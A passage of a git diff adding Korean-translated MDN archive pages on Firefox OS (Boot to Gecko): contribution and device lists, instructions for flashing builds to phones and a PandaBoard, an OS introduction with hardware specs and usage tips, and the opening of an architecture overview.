+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Web_applications">Web applications</a></dt>
+ <dd class="landingPageList">This page is intended to be a first, non thorough, attempt to collect web apps.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Bluetooth_API">Web Bluetooth API (Firefox OS)</a></dt>
+ <dd class="landingPageList">The Web Bluetooth API lets an open web app discover, pair with, and connect to Bluetooth devices. As it is a completely experimental and non-standard API, the Bluetooth API is currently available for certified applications only. However, there is some traction to have such an API available for regular Web content; this will be discussed as part of the <a href="http://www.w3.org/2012/sysapps/">W3C's System Applications Working Group</a>.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Archive/B2G_OS/Web_Telephony_API">Web Telephony API</a></dt>
+ <dd class="landingPageList">Web Telephony is an API that makes it possible for web content to handle voice phone calls using JavaScript.</dd>
+</dl>
+
+<div class="column-container">
+<h2 class="local-anchor" id="오래된_페이지_항목">오래된 페이지 항목</h2>
+
+<div class="column-third">
+<div class="note">
+<p><strong>주목</strong>: 더 많은 사람들을 참여시키기 위해 <a href="https://wiki.mozilla.org/B2G/Transition_Project/Call_For_Contribution">공헌 요청</a>과 <a href="https://discourse.mozilla-community.org/t/updated-9th-july-call-for-app-maintainers-adopt-an-app/9300/1">앱 채택 요청</a> 문서가 있습니다. 공유해주세요!</p>
+</div>
+
+<h2 id="여러분의_도움이_필요한_곳">여러분의 도움이 필요한 곳</h2>
+
+<ul>
+ <li>오류 보고 (상위 오류 보고 <a class="external text" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1252143" rel="nofollow">bug 1252143</a> 참조)</li>
+ <li>오류 수정</li>
+ <li><a class="external text" href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Automated_testing" rel="nofollow">테스트</a> 실패에 대한 처리</li>
+ <li><a href="https://mozilla-b2g.github.io/gaia/">스마트폰 앱</a>을 gaia에 맞게 수정:
+  <ol>
+   <li>웹앱으로 바꾸거나</li>
+   <li>chrome:// 으로 바꾸거나(<a href="https://discourse.mozilla-community.org/t/why-gaia-apps-are-turned-to-chrome/8011">상세한 설명</a>) 수정 요청함</li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">B2G OS를 다양한 디바이스에 포팅</a>하거나 포트 관리에 참여</li>
+ <li>이 문서와 위키를 개선하고 번역</li>
+ <li>새로운 스마트폰 기능을 제안하거나 만듦</li>
+</ul>
+</div>
+
+<div class="column-third">
+<h2 id="참여하기">참여하기</h2>
+
+<ul>
+ <li>메일링 리스트 (<a class="external text" href="https://lists.mozilla.org/listinfo/dev-fxos" rel="nofollow">dev-fxos</a>)</li>
+ <li><a class="external text" href="https://wiki.mozilla.org/IRC" rel="nofollow">IRC</a> (irc.mozilla.org #fxos)</li>
+ <li><a href="https://discourse.mozilla-community.org/c/b2g-os-participation">Discourse</a></li>
+ <li><a class="external text" href="https://telegram.me/B2GOS" rel="nofollow">텔레그램 그룹</a></li>
+ <li><a href="https://wiki.mozilla.org/B2G/Transition_Project/FAQ">프로젝트 위키</a></li>
+ <li>진행 상황 업데이트를 위한 <a class="external text" href="https://wiki.mozilla.org/B2G/Meeting" rel="nofollow">B2G 주간회의</a></li>
+ <li><a href="https://github.com/mozilla-b2g/B2GOS-community/issues">GitHub</a> 이슈 관리</li>
+ <li>회의나 워킹그룹 모임에 참여하려면 이 <a href="https://calendar.google.com/calendar/embed?src=mozilla.com_2d3638353137343333373332@resource.calendar.google.com">달력</a>을 살펴보세요. 회의나 모임 내용은 <a href="https://discourse.mozilla-community.org/c/b2g-os-participation">Discourse</a>에서 확인할 수 있습니다.</li>
+</ul>
+</div>
+
+<div class="column-third">
+<h2 id="지원_디바이스">지원 디바이스</h2>
+
+<p>B2G OS가 구동되는 지원 스마트폰 정보:</p>
+
+<ul>
+ <li><a href="https://discourse.mozilla-community.org/t/building-b2g-os-for-aries-z3c/8082">Sony Xperia Z3C</a> (개발용)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/flame-builds/8548">Flame </a>(개발용)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/zte-open-c/8402">ZTE Open C</a></li>
+ <li><a href="https://discourse.mozilla-community.org/t/test-b2gos-on-nexus-5/9405/1">Nexus 5</a></li>
+ <li>WileyFox Swift</li>
+ <li>Nexus 4 (WIP)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/fairphone-2-support-for-b2g-installer-landed/8334">Fairphone 2 </a> (진행 중)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/support-for-amami-xperia-z1c-building-debugging-providing-builds/8348">Sony Xperia Z1C</a> (진행 중)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/b2g-os-flamingo-sony-xperia-e3-builds/8361">Sony Xperia E3 </a> (진행 중)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/wip-xiaomi-redmi-1s-hongmi-1s/10273">Xiaomi Redmi 1S</a> (진행 중)</li>
+</ul>
+
+<p>더 자세한 사항은 <a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">여기에서</a>.<br>
+ <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS/B2G_installer_add-on">B2G installer</a>를 이용하면 쉽게 설치할 수 있습니다.<br>
+ 여러분의 디바이스가 목록에 없나요? 데스크탑에서 <a href="https://wiki.mozilla.org/Mulet">Mulet </a>를 써보세요.</p>
+</div>
+</div>
+
+<div class="note">
+<p><strong>주목</strong>: 오래된 몇몇 페이지는 <a href="/en-US/docs/Archive/Firefox_OS">MDN Archive</a>로 이동되었습니다. 예전 문서는 아카이브에서 확인해주세요. 아카이브에서 되돌려져야할 문서가 있으면 알려주세요.</p>
+</div>
diff --git a/files/ko/archive/b2g_os/installing_on_a_mobile_device/index.html b/files/ko/archive/b2g_os/installing_on_a_mobile_device/index.html
new file mode 100644
index 0000000000..3269212b44
--- /dev/null
+++ b/files/ko/archive/b2g_os/installing_on_a_mobile_device/index.html
@@ -0,0 +1,61 @@
+---
+title: 단말기로 Firefox OS 다운로드 하기
+slug: Archive/B2G_OS/Installing_on_a_mobile_device
+translation_of: Archive/B2G_OS/Installing_on_a_mobile_device
+---
+<p></p>
+<div class="warning">
+  <strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/02/26)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+<p>일단 Boot to Gecko의 빌드가 완료 되고 나면 단말기로 인스톨 할수 있게 됩니다.여기서는 이와 같은 과정에 대해 설명 하도록 하겠습니다.</p>
+<div class="note">
+  <strong>Note:</strong> 처음 단말기로 Firefox OS를 다운로드 해 넣을 경우 반드시 해당 단말기의 OS가 안드로이드 4 (아이스크림 샌드위치)이어야 합니다. 그렇지 않을 경우 제대로 다운로드가 되지 않을 것입니다. 그러나 한번 B2G를 다운로드 하고 나면 그 다음 부터는 단순하게 맨위 업데이트 부터 진행 하시면 됩니다.</div>
+<h2 id="폰으로_다운로드_하기">폰으로 다운로드 하기</h2>
+<p>폰으로 다운로드 하는 방법은 단순하게 단말기를 연결 한 후 아래와 같이 수행 합니다.</p>
+<pre>./flash.sh
+</pre>
+<p>이게 다입니다. 막 빌드 완료한 당신의 B2G 이미지가 당신의 폰으로 들어갔습니다.</p>
+<h3 id="udev_rule에_단말기_환경_설정">udev rule에 단말기 환경 설정</h3>
+<p>리눅스에서 아래와 같은 메시지가 나타난다면,</p>
+<pre>&lt; waiting for device &gt;</pre>
+<p>아마도 udev rule에 단말기 정보 추가 하는 것을 잊어 버린 것이 아닌지 확인 해보세요. <code>"lsusb"를 실행해 보면 단말기의 USB vendor ID를 확인 할 수 있으니 아래와 같이 추가하세요. 대부분의 구글단말기 ID는 </code>18d1입니다. 구글 ID로 추가 하는 아래 예시를 참고하세요.</p>
+<pre>SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"</pre>
+<div class="note">
+  <strong>주의 1:</strong> 리눅스에서 '<code>libusb</code> error "-3"'가 발생한다면 루팅 권한이 필요하다는 의미 입니다.  <code>'&gt;sudo</code> ./flash.sh'를 입력 해 보세요.</div>
+<div class="note">
+  <strong>주의 2</strong>: 만약 타겟 단말기가 우나기라면, udev rule에 단말기 vendor ID와 구글 ID 두가지를 다 추가 하세요.</div>
+<h3 id="삼성_Galaxy_S2_단말기인_경우_특별한_주의사항들">삼성 Galaxy S2 단말기인 경우 특별한 주의사항들</h3>
+<p>만약 타겟 단말기가 Galaxy S2이고 heimdall 1.3.2 버젼 (가장 최근 버젼임. 버젼 확인은 hiemdall version 명령어 사용) 을 사용한다면, "Heimdall flashing failed" 메시지 이후에 "FACTORYFS upload failed!" 메시지를 포함한 추가적인 정보가 출력되는 것을 보실수도 있습니다.<span style="font-size: 14px; line-height: inherit;"> 이 메시지는 uploading이 성공한 경우이니, 해당 경고 메시지는 무시하셔도 됩니다.</span></p>
+<p>이 비정상적인 행동을 제거하기 위해서는 heimdall의 1.3.1의 release된 source copy를 얻은 후에 (<span style="font-size: 14px; line-height: inherit;">"</span><code style="font-size: 14px; line-height: inherit;">git checkout fbbed42c1e5719cc7a4dceeba098981f19f37c06</code><span style="font-size: 14px; line-height: inherit;">" 명령어 사용), README file의 정의에 따라 컴파일을 하십시요. 컴파일 이후에 install을 하시면 그 에러 메시지는 사라질 것입니다. 하지만, 이 방법은 강력하게 요구되어지는 않습니다.</span></p>
+<p>Heimdall 도구의 모든 version에서 100MB 보다 큰 system.img 화일을 update를 할 수는 없습니다. 따라서 굽기 전에 다음 명령어를 실행하여 build된 system.img 화일의 크기를 확인해야 합니다. 만약 크기가 너무 크다면 IRC 내에서 문의하시기 바랍니다. 크기가 큰 경우에는 두 단계로 update를 분리할 수 있는 방법들이 있습니다.</p>
+<pre>ls -l ./out/target/product/galaxys2/system.img
+</pre>
+<p><span style="font-family: Georgia, Times, 'Times New Roman', serif; font-size: 1.628em; line-height: inherit;">Samsung Galaxy S2의 추가 작업</span></p>
+<p>Galaxy S2로 작업 할 경우, 다음과 같은 추가 작업이 필요합니다. Galaxy S2는 <code>flash.sh</code> script를 통해 Gaia는 다운로드가 되지 않습니다. 따라서 아래와 같이 추가 작업을 실행 해야 합니다.</p>
+<pre>./flash.sh gaia
+</pre>
+<h2 id="특정_영역_다운로드_하기">특정 영역 다운로드 하기</h2>
+<p>Samsung Galaxy S2를 제외한 다른 모든 단말기에서 특정 영역을 다운로드 하려면 아래와 같이 하세요.</p>
+<pre>./flash.sh system
+./flash.sh boot
+./flash.sh user
+</pre>
+<h2 id="특정_모듈_다운로드_하기">특정 모듈 다운로드 하기</h2>
+<p>아래와 같이 특정 모듈이름으로 B2G의 특정 모듈만 다운로드도 가능합니다.</p>
+<pre>./flash.sh gaia
+./flash.sh gecko
+</pre>
+<p>특정 어플리케이션만 업데이트 하려면 환경 설정 변수 BUILD_APP_NAME 를 통해서 가능합니다.</p>
+<pre>BUILD_APP_NAME=calendar ./flash.sh gaia</pre>
+<h2 id="다음_단계">다음 단계</h2>
+<p>이 단계에서, 당신의 타켓은 Boot to Gecko!를 실행시킬 수 있을 것입니다. 이제 실험하고, 코드를 작성하고, 테스트 하고 디버깅을 하실 시간입니다.</p>
+<div class="note">
+  <strong>Note:</strong> 도움이 되는 사용 팁 : 만약 타켓이 잠겨있어서 타겟의 잠금을 해제할 필요가 있을 때는 default 숫자는 0000 입니다.</div>
+<h2 class="note" id="문제_해결방법">문제 해결방법</h2>
+<p>B2G를 설치한 후에 타겟이 정상적으로 동작하지 않는 경우에 대비하여 몇 가지 tip을 알려 드립니다.</p>
+<h3 class="note" id="UI가_시작되지_않는다면">UI가 시작되지 않는다면</h3>
+<p>만약 당신의 타겟이 update되고, UI가 정상적으로 실행되지 않는다면, 오래된 configuration을 초기화 할 수 있습니다. 다음은 그 방법입니다.</p>
+<pre>cd gaia
+make reset-gaia
+</pre>
+<h3 class="note" id=".flash.sh_실행_후에_image_is_too_large_에러_메시지가_출력되는_경우">./flash.sh 실행 후에 "image is too large" 에러 메시지가 출력되는 경우</h3>
+<p>이 메시지는 이미지를 flash에 writing하기 전에 당신의 타겟이 rooting될 필요가 있음을 뜻할 수 있습니다. b2g는 root partition 영역에 data를 writing 할 필요가 있으므로 당신의 타겟은 b2g image를 정상적으로 설치하기 위해서 rooting 되어져야 합니다.</p>
diff --git a/files/ko/archive/b2g_os/introduction/index.html b/files/ko/archive/b2g_os/introduction/index.html
new file mode 100644
index 0000000000..17dc0720e9
--- /dev/null
+++ b/files/ko/archive/b2g_os/introduction/index.html
@@ -0,0 +1,83 @@
+---
+title: Firefox OS 소개
+slug: Archive/B2G_OS/Introduction
+translation_of: Archive/B2G_OS/Introduction
+---
+<p><strong>Firefox OS</strong> ( "Boot to Gecko" 혹은 "B2G" 라는 코드네임)는 Linux와 Mozilla의 Gecko 기술을 기반으로 한 Mozilla의 오픈 소스 모바일 운영체제입니다. 기본적인 생각은 스마트폰 위에서 동작하는 사용자가 접근 가능한 모든 소프트웨어는 웹 기반 앱이며, 진화한 HTML5 기술을 사용하고 JavaScript가 기기 API를 이용해 스마트폰의 하드웨어에 직접 접근 합니다.</p>
+<p>웹 개발자가 제일 이해해야 할 중요한 것은 표현되는 모든 기능 및 앱을 설치 및 실행에 있어 모든 사용자 인터페이스는 웹 기반이라는 것입니다. 사용자 인터페이스에 어떠한 수정을 넣거나 어떠한 애플리케이션을 만드는 모든 일, 특히 모바일 기기의 하드웨어나 서비스에 접근하는 것도 Firefox OS 로 동작하는 웹 페이지입니다.</p>
+<p>Firefox OS의 빌드나 설치 방법에 대해서는 <a href="/ko/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko" title="Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko">빌드 및 설치 가이드</a>로 배울 수 있습니다</p>
+<h2 id="하드웨어_사양">하드웨어 사양</h2>
+<p>Firefox OS는 최신 ARM기반 모바일 기기에서 동작 되도록 포팅 될 것입니다 . 이번 절에서는 Firefox OS가 동작하는 최소/추천 하드웨어 사양에 대해 기술합니다.</p>
+<table>
+  <thead>
+    <tr>
+      <th scope="col">구성품</th>
+      <th scope="col">최소사양</th>
+      <th scope="col">추천 사양</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">CPU</th>
+      <td>ARMv6</td>
+      <td>Cortex A5 class or better<br>
+        ARMv7a with NEON</td>
+    </tr>
+    <tr>
+      <th scope="row">GPU</th>
+      <td>—</td>
+      <td>Adreno 200 class or better</td>
+    </tr>
+    <tr>
+      <th scope="row">Connectivity</th>
+      <td>—</td>
+      <td>WiFi<br>
+        3G</td>
+    </tr>
+    <tr>
+      <th scope="row">Sensors</th>
+      <td>—</td>
+      <td>Accelerometer<br>
+        Proximity<br>
+        Ambient light<br>
+        A-GPS</td>
+    </tr>
+  </tbody>
+</table>
+<p>각 단말기들은 통일된 색상 프로파일(그래픽 디바이스 드라이버에서 구현되어 제공된)을 제공 해야 하고, 헤드폰은 일시정지/정지해재 및 정지/재생을 지원해야 합니다. 이와 같은기능은 최근 스마트폰에서는 기본적으로 제공되는 기능입니다.</p>
+<h2 id="Usage_tips" name="Usage_tips">사용법 힌트</h2>
+<p>이 섹션에서는 실제로 Firefox OS를 사용할 때의 힌트를 몇개인가 제공합니다. 이것은 우리가 진짜 사용법의 문서를 작성할 때까지의 플레이스홀더 같은 것입니다.</p>
+<h3 id="Unlocking_the_phone" name="Unlocking_the_phone">스마트폰의 잠금 해제</h3>
+<p>빌드된 Firefox OS의 시작시에 기기의 잠금을 해제하는 비밀번호가 필요한데, 기본 코드는 0000 입니다. 락 스크린의 개발과 테스트를 실시하고 있는 동안은 일부 빌드에서 필요할 수 있습니다.</p>
+<h3 id="Capturing_a_screenshot" name="Capturing_a_screenshot">스크린 캡쳐</h3>
+<p>스크린샷의 캡쳐는 매우 간단해서 전원과 home 버튼을 동시에 누릅니다. 스크린샷의 이미지은 기기상의 <code>/sdcard/screenshots</code> 안에 있습니다.</p>
+<p>만약, 여러 가지 이유로 동작하지 않을 때는 Firefox OS 빌드 시스템을 설치 한 Linux나 Mac OS X 컴퓨터상의 터미널에서 실행하는 것도 가능합니다.</p>
+<ol>
+  <li>ffmpeg를 반드시 설치 해 주십시오.
+    <ol>
+      <li>Mac 에서는 MacPorts를 사용할 때는 <code>sudo port install ffmpeg</code>를 실행해 주십시오.homebrew를 사용할 때는 <code>brew install ffmpeg</code> 입니다.</li>
+      <li>Linux (Ubuntu/Debian)에서는 <code>sudo apt-get install ffmpeg</code>를 실행해 주십시오.</li>
+    </ol>
+  </li>
+  <li>스마트폰과 컴퓨터는 USB 케이블을 사용해 접속합니다.</li>
+  <li>스마트폰을, screen shot를 찍고 싶은 상황으로 합니다.</li>
+  <li><code>cd</code> 해 <code>B2G/gaia</code> 디렉토리로 이동합니다.</li>
+  <li><code>make screenshot</code></li>
+  <li><code>screenshot.png</code> 라는 이름으로, screen shot가 찍히고 있을 것입니다.</li>
+</ol>
+<h3 id="버튼과_컨트롤">버튼과 컨트롤</h3>
+<p>일반적인 Firefox OS는 물리적인 버튼 몇개를 기본적 필요로 합니다.</p>
+<dl>
+  <dt>
+    홈버튼</dt>
+  <dd>
+    이 버튼은 보통 화면의 가운데 아래에 위치합니다. 이 버튼을 선택하면 앱 런처로 갈수 있습니다. 이 버튼을 길게 누르고 있으면 카드 스위칭 뷰를 보여줍니다; 이때 나타나는 앱들을 위로 끌어 올리면 해당 앱은 종료됩니다.</dd>
+  <dt>
+    볼륨 조정 버튼</dt>
+  <dd>
+    왼쪽편에 볼륨 버튼이 있습니다; 이 버튼 윗쪽부분은 볼륨을 증가하고, 아래쪽은 볼륨을 낮추게 됩니다.</dd>
+  <dt>
+    전원 버튼</dt>
+  <dd>
+    전원 버튼은 단말기의 왼쪽 위에 위치 합니다.</dd>
+</dl>
diff --git a/files/ko/archive/b2g_os/pandaboard/index.html b/files/ko/archive/b2g_os/pandaboard/index.html
new file mode 100644
index 0000000000..af65fd2a0e
--- /dev/null
+++ b/files/ko/archive/b2g_os/pandaboard/index.html
@@ -0,0 +1,36 @@
+---
+title: Pandaboard
+slug: Archive/B2G_OS/Pandaboard
+translation_of: Archive/B2G_OS/Pandaboard
+---
+<p>이 문서는 <a href="http://pandaboard.org/">PandaBoard</a>에 Firefox OS 올리기 위한 가이드 입니다. PandaBoard는 모바일 운영 체제를 개발하기위한 저가의 OMAP 4 기반의 개발 보드입니다.</p>
+<p>이 가이드는 SD card가 최소 4 GB의 사용 가능 용량이 있다고 가정합니다.</p>
+<h2 id="Format_the_SD_card">Format the SD card</h2>
+<p>이 <a href="http://omappedia.org/wiki/Minimal-FS_SD_Configuration">OMAPpedia 가이드</a>를 참조하여 SD card를 Format하세요.</p>
+<h2 id="USB_communication">USB communication</h2>
+<p>usb를 인식하기 위하여 <a href="http://source.android.com/source/initializing.html#configuring-usb-access">다음 단계</a>를 따르세요. B2G를 위해 file의 mode 부분을 "0666"으로 사용하는 것이 안전합니다.</p>
+<p>Verify that the pandaboard is accessible by plugging it in to your computer using USB, and running:</p>
+<pre>lsusb</pre>
+<p>If you see something from Texas Instruments, then you found your pandaboard! If not, I found luck by unplugging all the wires, and only connecting the pandaboard to USB.</p>
+<h2 id="Building_and_flashing">Building and flashing</h2>
+<p>After <a href="https://developer-new.mozilla.org/en/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build" title="https://developer-new.mozilla.org/en/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build">configuring</a> for the pandaboard, we now pull in <a href="https://github.com/mozilla/Negatus" title="https://github.com/mozilla/Negatus">Negatus</a>. This is an agent that runs on the device and can help automate/debug it. Negatus will build itself automatically after you run ./build.sh, but you need to install libnspr(<code>apt-get install libnspr4-dev). </code>After <a href="https://developer-new.mozilla.org/en-US/docs/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko" title="https://developer-new.mozilla.org/en-US/docs/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko">building</a> the image, then tricky part is flashing it onto your pandaboard.</p>
+<p>Try to follow instructions <a href="https://github.com/mozilla-b2g/android-device-panda" title="https://github.com/mozilla-b2g/android-device-panda">here</a>, up to and including 'Initial setup, part 3'. You can skip 'Initial setup, part 1' which has been done during the build step. After completing 'Initial setup, part 3' return here.</p>
+<p>Now you're free to run the <code>./flash.sh</code> command, and hopefully all will be well. If the <code>flash.sh</code> script tries to erase the userdata partition, remove that line. It's a known issue listed in the <a href="https://github.com/mozilla-b2g/android-device-panda" title="https://github.com/mozilla-b2g/android-device-panda">instructions</a>.</p>
+<p>After flashing is complete you may need to manually reboot the machine by unplugging the usb and power cords and plugging them back in (power cord should be plugged in first).</p>
+<p>Here are the work arounds for known issues:</p>
+<h3 id="waiting_for_OMAP4XXX..._when_trying_to_use_usbboot">"waiting for OMAP4XXX..." when trying to use usbboot</h3>
+<p>If you see this message, then unplug all cables from the pandaboard. Only plug in the pandaboard via USB. Do not connect power. Try now, and run <code>usbboot</code> as <code>sudo</code>.</p>
+<h3 id="Fastboot_errors_while_flashing">Fastboot errors while flashing</h3>
+<p>If you're having trouble running commands in fastboot, I found success after running them with <code>sudo</code> (ie: <code>sudo &lt;fastboot command...&gt;</code>)</p>
+<p>Also, if you have trouble getting your pandaboard into fastboot mode (ie: no devices listed if you do a <code>fastboot devices</code> call), then you can:</p>
+<ol>
+ <li>Unplug all the things from the pandaboard</li>
+ <li>Hold down the GPIO button</li>
+ <li>Plug in the power while still holding the button</li>
+ <li>Watch the solid status light, and once the light starts to flash, let go of the GPIO button</li>
+</ol>
+<p>This will put the pandaboard into fastboot mode.</p>
+<h3 id="Can't_connect_to_adb">Can't connect to adb</h3>
+<p>If you see the device in lsusb, but not in adb/fastboot devices and the lights are off, then remove the power source and plug it back in. If the lights are on, you may need to wait a while (30seconds max) for it to be registered on adb.</p>
+<p>Sometimes, flashing will claim to be successful, but it isn't. Reflash the pandaboard (ie: run <code>./flash.sh</code>) and try again. I recommend plugging in power first, and then plugging in the usb cable</p>
+<p>If you get on adb devices "??????????? no permision", even as root, check the section "Configuring USB Access" on this <a href="http://source.android.com/source/initializing.html" title="http://source.android.com/source/initializing.html">site</a> and correct or add the right udev rules. Don't forget to restart the udev service after the changes.</p>
diff --git a/files/ko/archive/b2g_os/phone_guide/index.html b/files/ko/archive/b2g_os/phone_guide/index.html
new file mode 100644
index 0000000000..4ac9688347
--- /dev/null
+++ b/files/ko/archive/b2g_os/phone_guide/index.html
@@ -0,0 +1,6 @@
+---
+title: Boot to Gecko 개발자 단말기 가이드
+slug: Archive/B2G_OS/Phone_guide
+translation_of: Archive/B2G_OS/Phone_guide
+---
+<p>B2G개발용 단말기를 가지고 있거나, B2G가 설치된 단말기를 가지고 있을경우, 이를 사용하기 위한 기본적인 설명은 다음 링크를 참고 하세요: <a class="link-https" href="https://wiki.mozilla.org/B2G/DeveloperPhone" title="https://wiki.mozilla.org/B2G/DeveloperPhone">Firefox OS로 동작하는 단말기에 대한 기본적인 안내서</a>. Mozilla에서는 아직 이에 대해 개선작업을 진행 중이며, 곧 좀더 간결한 설명을 MDN사이트를 통해 제공 할 것입니다. Firefox OS를 빌드하고 단말기에 넣고 싶다면, 다음 링크를 참고 하세요; <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="Building and installing Firefox OS">'Firefox OS를 빌드하여 단말기에 올리기'</a>.</p>
diff --git a/files/ko/archive/b2g_os/platform/architecture/index.html b/files/ko/archive/b2g_os/platform/architecture/index.html
new file mode 100644
index 0000000000..0f34ac448b
--- /dev/null
+++ b/files/ko/archive/b2g_os/platform/architecture/index.html
@@ -0,0 +1,532 @@
+---
+title: Firefox OS architecture
+slug: Archive/B2G_OS/Platform/Architecture
+translation_of: Archive/B2G_OS/Architecture
+---
+<p> </p>
+
+<div class="overheadIndicator draft">
+<p><strong>초안</strong><br>
+ 이 문서는 작성중입니다.</p>
+</div>
+
+<p> </p>
+
+<p>이 (게시)글은 Firefox OS platform의 구조(architecture)에 대한 고차원적인 개요이며, 주요 개념을 소개하고 구성요소들이 기본레벨에서 어떻게 상호동작 하는지를 설명합니다. 기술적인 레벨에서 어떻게 동작하는지의 복잡한 사항을 알려주지는 않습니다; 각각의 <a href="#See_also">See also</a> 섹션으로부터 참조된 글들을 보시기 바랍니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Firefox OS는 이직 정식배포 전의 상품임을 유념해 주십시오. 여기에 설명된 구조(architecture)는 반드시 최종이라 할 수 없으며 변경될 수 있습니다.</p>
+</div>
+
+<h2 id="Firefox_OS_용어">Firefox OS 용어</h2>
+
+<p>이 문서를 이해하기 전에 알 필요가 있는 몇 가지 용어가 있습니다.</p>
+
+<dl>
+ <dt>B2G</dt>
+ <dd>Boot to Gecko의 약어.</dd>
+ <dt>Boot to Gecko</dt>
+ <dd>전체적인 Firefox OS 프로젝트에 대한 코드명입니다. 프로젝트가 공식명칭을 갖기 오래 전 부터 사용되었기 때문에, Firefox OS를 나타내는 용어로 이 용어가 사용되는 것을 볼 수 있습니다.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Gaia">Gaia</a></dt>
+ <dd>Firefox OS platform의 사용자 인터페이스. Firefox OS가 구동된 후에 화면에 표시되는 것들은 Gaia 층에서 생성된 것 입니다. Gaia는 최신의 스마트폰에서 기대할 수 있는 잠금 화면, 홈 화면, 그리고 모든 표준화된 어플리케이션들을 구현하고 있습니다. Gaia는 전적으로 HTML, CSS와 JavaScript로 구현되었습니다. 내부의 OS와의 유일한 인터페이스는 개방된 Web API들을 통해 이루어 집니다. 이는 Gecko 층(layer)에 구현되어 있습니다. 제 3자가 개발한 어플리케이션들은 Gaia 층에 나란히 설치될 수 있습니다.</dd>
+ <dt><a href="/en-US/docs/Gecko" title="/en-US/docs/Accessibility/AT-APIs/Gecko">Gecko</a></dt>
+ <dd>Firefox OS 어플리케이션 런타임; 즉, 공개된 표준의 3가지 펙터(HTML, CSS, JavaScript)에 대한 모든 지원을 제공합니다. Gecko가 지원하는 모든 운영체제상에서 관련 API들이 제대로 동작하는 것을 보장합니다. 이는 Gecko가 다른 여러가지 중에서도, 네트워킹 스택, 그래픽 스펙, 배치(layout) 엔진, JavaScript 버추얼 머신과 포팅 레이어들을 포함하고 있다는 것을 의미합니다.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Gonk" title="/en-US/docs/Mozilla/Firefox_OS/Gonk">Gonk</a></dt>
+ <dd>Gonk는 Firefox OS 플랫폼의 더 낮은 레벨의 운영체제로, (안드로이드 오픈 소스 프로젝트, <a href="http://source.android.com/">Android Open Source Project</a> (AOSP)를 기반으로 하는)리눅스 커널과 유저공간의 하드웨어 추상 계층(Userspace Hardware adstraction layer:HAL)로 구성되어 있습니다. 커널과 여러개의 라이브러리들은 일반적인 오픈 소스 프로젝트들(리눅스, libusb, bluz 등)입니다. HAL의 또 다른 부분들은 안드로이드 프로젝트(GPS, camera 등)과도 공유됩니다. Gonk는 아주 간단한 리눅스라 할 수 있습니다. Gecko는 Gonk에 포팅됩니다; 마치, Gecko가 Mac OS X, Windows와 Android에 포팅되듯이 Gecko는 Gonk에 포팅됩니다. Firefox OS 프로젝트는 Gonk에 대한 전반적인 통제를 가지고, 다른 운영체제에 대한 노출되지 않는 Gecko에 대한 인터페이스들을 노출시킬 수 있습니다. 예를 들어, Gecko는 전반적인 텔레포니 스택과 Gonk상의 디스플레이 프레임 버퍼에 대한 직접적인 접근이 가능하지만, 다른 운영체제로의 이러한 접근은 가능하지 않습니다.</dd>
+ <dt> </dt>
+ <dd><img alt="Firefox OS Architecture" src="https://developer.mozilla.org/files/4605/FirefoxOS.png" style="height: 915px; width: 754px;"></dd>
+</dl>
+
+<h2 id="부트스트래핑_프로세스">부트스트래핑 프로세스</h2>
+
+<p>맨 처음, Firefox OS를 구동하면, 첫 번째 부트로더부터 실행 하기 시작 합니다. 여기서부터, 일반적인 방법으로 주 운영체제를 불러오는 과정을 진행 합니다. 점진적으로 높은 레벨의 부트로더들을 연속으로 두어서 다음 로더를 연속적으로 부트스트래핑 합니다. 이 단계의 마지막에서, Linux Kernel로 실행이 넘어갑니다.</p>
+
+<p>부팅 프로세스에 대해 별 의미 없는 몇 가지 사항이 있습니다.</p>
+
+<ul>
+ <li>부트로더들은 보통 장치를 시작 할 때 유저에게 첫 번째로 보이는 시작 화면(splash screen)이 있습니다. 이 시작 화면은 일반적으로 제조사의 로고 입니다.</li>
+ <li>부트로더들은 장치로 이미지를 플래싱(flashing) 합니다. 각각 다른 장치들은 각각 다른 프로토콜을 사용 합니다. 대부분의 휴대폰은 <a href="http://android-dls.com/wiki/index.php?title=Fastboot" title="http://android-dls.com/wiki/index.php?title=Fastboot">fastboot protocol</a>을 사용하지만, 삼성의 갤럭시 S II는 odin 프로토콜을 사용 합니다.</li>
+ <li>부트스트래핑 과정이 종료되면서, 대개 모뎀 이미지를 로드하고 모뎀 프로세서에서 실행 합니다. 이런 과정은 굉장히 장치에 특화 되어 있고, 누군가가 소유권(proprietary)을 가지고 있을 수도 있습니다.</li>
+</ul>
+
+<h2 id="리눅스_커널">리눅스 커널</h2>
+
